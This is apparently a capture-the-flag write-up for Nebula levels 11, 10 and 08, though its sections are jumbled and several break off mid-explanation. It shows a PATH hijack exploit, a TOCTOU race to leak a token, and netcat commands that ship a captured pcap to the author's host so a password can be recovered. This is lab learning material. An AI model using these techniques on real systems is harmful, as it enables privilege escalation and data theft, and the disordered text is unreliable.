Now it gets interesting. This is the first bit of code where it isn’t obvious what the intent is from a quick glance.

I think I have found three ways to get this to execute getflag, though one is just a variation of another.

The code reads from stdin, then checks for “Content-Length: “, reads a length integer, and then processes this.

There are a number of paths from this point. If the length is less than the buf length (1024), then fread is called. Then there is a bug.

This is what happens on this code path:

1

if(fread(buf,length,1,stdin)!=length){

But later on:

1

pink=fread(buf,1,sizeof(buf),stdin);

From the man page of fread:

size_t fread(void *ptr, size_t size, size_t nmemb, FILE *stream);

The function fread() reads nmemb elements of data, each size bytes
long, from the stream pointed to by stream, storing them at the loca‐
tion given by ptr.

fread() and fwrite() return the number of items successfully read or
written (i.e., not the number of characters).

Whilet both read in the same data, the return values will be different. The first will return 1, the second will return the number of chars read.

This means the only way to get to process with the length less than 1024 is to set the length to 1. This restricts our options a fair bit.

We’ll try it out though:

Shell

1

2

level11@nebula:/tmp$echo-ne"Content-Length: 1\nE"|/home/flag11/flag11

sh:$'D\220^':commandnotfound

As expected, the value we pass (E, arbitrary choice) gets “processed” to become D. system is then called, but because we can only provide a single character, we can’t null terminate the command, and we get some random values after.

We can see these values vary each time we run it:

Shell

1

2

3

4

5

6

level11@nebula:/tmp$echo-ne"Content-Length: 1\nE"|/home/flag11/flag11

sh:DPo:commandnotfound

level11@nebula:/tmp$echo-ne"Content-Length: 1\nE"|/home/flag11/flag11

sh:$'D\260@':commandnotfound

level11@nebula:/tmp$echo-ne"Content-Length: 1\nE"|/home/flag11/flag11

sh:$'D\220':commandnotfound

One thing that does happen though is that, by chance, we end up with a null being in the right place:

Shell

1

2

level11@nebula:/tmp$echo-ne"Content-Length: 1\nE"|/home/flag11/flag11

sh:D:commandnotfound

This is pure luck. The rest of buffer is uninitialized and nulls are common in uninitialised memory.

If we now symbolic link D to /bin/getflag, and alter the path so it runs D when the null is in the right place:

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

level11@nebula:/tmp$ln-s/bin/getflagD

level11@nebula:/tmp$export PATH=/tmp/:$PATH

level11@nebula:/tmp$echo-ne"Content-Length: 1\nE"|/home/flag11/flag11

sh:$'D\340\312':command notfound

level11@nebula:/tmp$echo-ne"Content-Length: 1\nE"|/home/flag11/flag11

sh:D@3:command notfound

level11@nebula:/tmp$echo-ne"Content-Length: 1\nE"|/home/flag11/flag11

sh:$'D\260\207':command notfound

level11@nebula:/tmp$echo-ne"Content-Length: 1\nE"|/home/flag11/flag11

sh:$'D\260\372':command notfound

level11@nebula:/tmp$echo-ne"Content-Length: 1\nE"|/home/flag11/flag11

sh:$'D\020i':command notfound

level11@nebula:/tmp$echo-ne"Content-Length: 1\nE"|/home/flag11/flag11

sh:$'DP\366':command notfound

level11@nebula:/tmp$echo-ne"Content-Length: 1\nE"|/home/flag11/flag11

getflag isexecuting onanon-flag account,thisdoesn'tcount

Hmmph. Why is it not the flag account? I think this is a bug – the call to system isn’t preceded by setresuid/setresgid, so anything it runs will run as the real UID (level11) instead of the effective UID (flag11).

This technique uses an environment variable called LD_PRELOAD. This is commonly used to override library functions for debugging (or exploits!). When the linker starts up, it reads the entirity of LD_PRELOAD onto the stack and then doesn’t clean up afterwards. This means we can initialise the memory to something under out control:

The check is done using the calling process’s real UID and GID, rather
than the effective IDs as is done when actually attempting an operation
(e.g., open(2)) on the file.

So we check the file permissions using the real UID (level10), but then later on we do:

C

1

ffd=open(file,O_RDONLY);

and open uses the effective UID, and as the executable has suid, this means flag10.

This is commonly called a time-of-use to time-of-check or TOCTOU bug (Wikipedia’s example is pretty much exactly the same issue)

If we can swap out the file between the time-of-check and the time-of-use, we should be able to send token.

First, let’s just check the program works as expected.

Setup a listening netcat on my host using:

Shell

1

andrew@andrews-mbp:~/nebula$nc-l18211

And then run it on nebula with a file we have access to:

Shell

1

2

3

4

5

level10@nebula:/home/flag10$cat/tmp/token

testing token

level10@nebula:/home/flag10$./flag10/tmp/token10.211.55.2

Connecting to10.211.55.2:18211..Connected!

Sending file..wrote file!

And we receive it at the other end, plus a little banner:

Shell

1

2

3

4

testing token

andrew@andrews-mbp:~/nebula$nc-l18211

.oOOo.

testing token

Ok – so how do we explout the race condition? The best way to swap the file about is to use symolic links again. How do we time that though? I’m fundamentally a lazy person, so let’s try and just swap out the files as quickly as we can and hope it works.

First, let’s setup a loop that flips a symbolic link from the real token to a fake one repeatedly:

World readable files strike again. Check what that user was up to, and use it to log into flag08 account.

Shell

1

2

3

4

5

6

7

8

9

10

level08@nebula:/home/flag08$ls-asl

total18

0drwxr-x---1flag08 level08802014-06-0305:30.

0drwxr-xr-x1root root4202012-08-2707:18..

4-rw-------1flag08 flag08132014-06-0305:30.bash_history

1-rw-r--r--1flag08 flag082202011-05-1802:54.bash_logout

4-rw-r--r--1flag08 flag0833532011-05-1802:54.bashrc

0drwx------2flag08 flag08602014-06-0305:19.cache

9-rw-r--r--1root root83022011-11-2021:22capture.pcap

1-rw-r--r--1flag08 flag086752011-05-1802:54.profile

A readable pcap file in the flag08 home directory. This is a network capture, so might have some interesting traffic.

Now… we can read this on the terminal using tcpdump:

Shell

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

level08@nebula:/home/flag08$tcpdump-qns0-X-rcapture.pcap

reading from filecapture.pcap,link-typeEN10MB(Ethernet)

22:23:12.267566IP59.233.235.218.39247>59.233.235.223.12121:tcp0

0x0000:4510003ca0e1400040064a3e3be9ebdaE..<..@.@.J>;...

0x0010:3be9ebdf994f2f599d1814c100000000;....O/Y........

0x0020:a00239088fad0000020405b40402080a..9.............

0x0030:011bb4200000000001030307............

22:23:12.267694IP59.233.235.223.12121>59.233.235.218.39247:tcp0

0x0000:4500003c000040004006eb2f3be9ebdfE..<..@.@../;...

0x0010:3be9ebda2f59994fbaa8 fa419d1814c2;.../Y.O...A....

0x0020:a0123890a9880000020405b40402080a..8.............

0x0030:02c22ee1011bb42001030305............

22:23:12.267956IP59.233.235.218.39247>59.233.235.223.12121:tcp0

0x0000:45100034a0e2400040064a453be9ebdaE..4..@.@.JE;...

0x0010:3be9ebdf994f2f599d1814c2baa8 fa42;....O/Y.......B

0x0020:80100073107000000101080a011bb420...s.p..........

0x0030:02c22ee1....

Even when it is this prettied up, it’s still hard work – especially if it is a keyboard interactive process. People using the keyboard expect instant feedback – they press a key, they what to see the screen change. This means that there is a lot of back and forth. Compare this to, say, a request for a web page, which is machine generated and will fit neatly into packets.

So I want to get this file into Wireshark on my local machine. How can we do that? netcat!

(note that these instructions have OS X as the remote end – the command name and options syntax vary from OS to OS)

On the host machine, we do the following:

Shell

1

andrew@andrews-mbp:~$nc-l2001>capture.pcap

Listen on port 2001, and pipe any output to the file capture.pcap.

and on the client (Nebula machine) we do this:

Shell

1

level08@nebula:/home/flag08$nc10.211.55.22001<capture.pcap

Connect to port 2001 and pipe capture.pcap down the connection.

Now we have our file at the other end, it is an easy taste to run Wireshark and open the capture.

There is a single connection between two given IPs here. The trace is still hard to follow though, so go to Analyze -> Follow TCP stream. This gives us a nice, coherent conversation:

We can see a login to another machine. We are just going to have to hope for some password re-use. The password bit looks like:

1

Password:backdoor...00Rm8.ate

However, those . are not . – they are characters not represented by display characters. Switch the view to hex view and we can see: